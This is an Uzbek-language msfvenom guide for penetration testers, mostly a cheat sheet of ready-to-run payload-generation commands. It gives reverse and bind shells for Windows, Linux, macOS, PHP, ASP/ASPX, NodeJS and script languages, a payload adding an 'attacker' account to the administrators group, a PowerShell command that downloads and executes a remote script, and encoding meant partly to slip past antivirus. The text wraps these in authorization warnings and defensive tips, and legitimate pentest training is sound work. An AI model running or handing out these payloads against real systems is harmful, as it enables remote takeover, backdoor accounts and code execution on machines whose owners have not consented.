
Msfvenom — pentesterlar uchun qo‘llanma
Kiberxavfsizlik olamida ko‘plab vositalar ichida Metasploit ekotizimidagi yengil, ammo kuchli bo‘lagi — msfvenom alohida o‘rin tutadi. Ushbu utilita pentesting va xavfsizlik tadqiqotlarida kerakli «payload» — ya’ni maqsadli tizimga yetkaziladigan ishchi kod — yaratish va uni kerakli formatga chiqarish uchun ishlatiladi. Quyida msfvenom nima ekanligi, qanday ishlashi va amaliy misollar sodda tilda tushuntirilgan.
Eslatma: quyidagi misollar va buyruqlar faqat ruxsat olingan, nazorat qilingan muhitlarda (masalan, o‘z laboratoriyangiz yoki mijozdan olingan yozma rozilik asosida) ishlatilishi mumkin. Ruxsatsiz ekspluatatsiya qilish noqonuniy va axloqiy jihatdan noto‘g‘ri.
Asosiy sintaksis (soddalashtirilgan)
Quyidagi format msfvenom’da eng ko‘p ishlatiladigan parametrlardan iborat:
msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE_COUNT> LHOST=<IP>
-p <PAYLOAD>
— tanlangan payload (masalan,windows/meterpreter/reverse_tcp
).-e <ENCODER>
— kodlovchi (masalan, shikata_ga_nai).-f <FORMAT>
— chiqish formati (exe
,elf
,raw
,asp
,php
va boshqalar).-i <ENCODE_COUNT>
— kodlash takrorlanishlari soni.LHOST
/LPORT
— teskari ulanish (reverse) uslubida operatorning IP va porti.-b
— badchars (masalan,-b "\x00\x0a\x0d"
) — msfvenomga ishlatmaslik kerak bo‘lgan baytlarni bildiradi.-a
— kerak bo‘lsa arxitekturani ko‘rsatish (x86
,x64
va h.k.).
Foydali ro‘yxatlarni ko‘rish uchun:
msfvenom -l payloads
— mavjud payloadlar.msfvenom -l encoders
— kodlovchilar.msfvenom -l formats
— chiqish formatlari.
Amaliy misollar (eng ko‘p uchraydigan holatlar)
Quyidagi misollar — pentest davomida uchrashi mumkin bo‘lgan turli vaziyatlar uchun namunadir. Ularni faqat o‘rganish va himoya maqsadida ishlating.
Windows uchun
- Reverse Meterpreter (EXE):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > reverse.exe
- Bind shell (EXE):
msfvenom -p windows/meterpreter/bind_tcp RHOST=<IP> LPORT=<PORT> -f exe > bind.exe
- Yangi foydalanuvchi yaratish:
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
- Buyruq orqali administrator guruhiga qo‘shish:
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators attacker /add" -f exe > pay.exe
- Powershell orqali tashqi skript yuklash:
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.WebClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
- Kodlash misoli:
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
Linux uchun
- Reverse Meterpreter (ELF):
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > reverse.elf
- 64-bit reverse shell:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elf
- Bind shell:
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<IP> LPORT=<PORT> -f elf > bind.elf
macOS uchun
- Reverse shell (Macho):
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f macho > reverse.macho
Veb va skriptli tillar
- PHP reverse shell:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
- ASP / ASPX (Windows serverda ishlash uchun):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f aspx > reverse.aspx
- NodeJS:
msfvenom -p nodejs/shell_reverse_tcp LHOST=<IP> LPORT=<PORT>
- Skript tillari (Perl, Python, Bash):
msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PORT> -f raw > reverse.pl
msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PORT> -f raw > reverse.py
msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PORT> -f raw > shell.sh
Badchars (“yomon baytlar”) haqida qisqacha
Ba’zi interfeyslar yoki parametrlar orqali yuborilayotgan ma’lumotlarda ma’lum baytlar ishlatilmasligi kerak (masalan, \x00
, \x0a
, \x0d
). MsFvenom’ga ular haqida -b
parametri orqali aytiladi, shunda yaratilgan payloadda ushbu baytlar ishlatilmaydi.
Misol:
-b "\x00\x0a\x0d"
Amaliy tavsiyalar va xavfsizlik (majburiy)
- Faqat ruxsat olingan muhitda ishlating. Har qanday sinovdan oldin aniq yozma rozilik oling.
- Har bir sinovni hujjatlashtiring: maqsad, muhit, vaqt va natijalarni yozib boring.
- Ekspluatatsion kodlarni ommaga yoyishdan oldin xavf va mas’uliyatni baholang — PoC’lar yomon niyatli tomonlarga yordam berishi mumkin.
- Himoya jihatidan — EDR, AV, application whitelisting, least-privilege siyosatlari va tarmoq segmentatsiyasi kabi qoidalarni kuchaytiring.
- Kodlash (encoders) har doim antivirusdan yashirishga kafolat bermaydi — zamonaviy himoya vositalari xulq-atvor asosida aniqlashga ham qodir.
Msfvenom — pentesterlar va xavfsizlik tadqiqotchilari uchun qulay va tezkor vosita. U turli platformalar uchun ko‘plab payloadlar ishlab chiqishga, ularni kerakli formatga o’tkazishga va ba’zi holatlarda kodni enkodlashga imkon beradi. Lekin uning kuchi bilan bir qatorda mas’uliyat ham katta — har doim qonun va axloqiy normalarga rioya qiling, va ishlab chiqilgan payloadlarni faqat sinov sharoitida ishlating.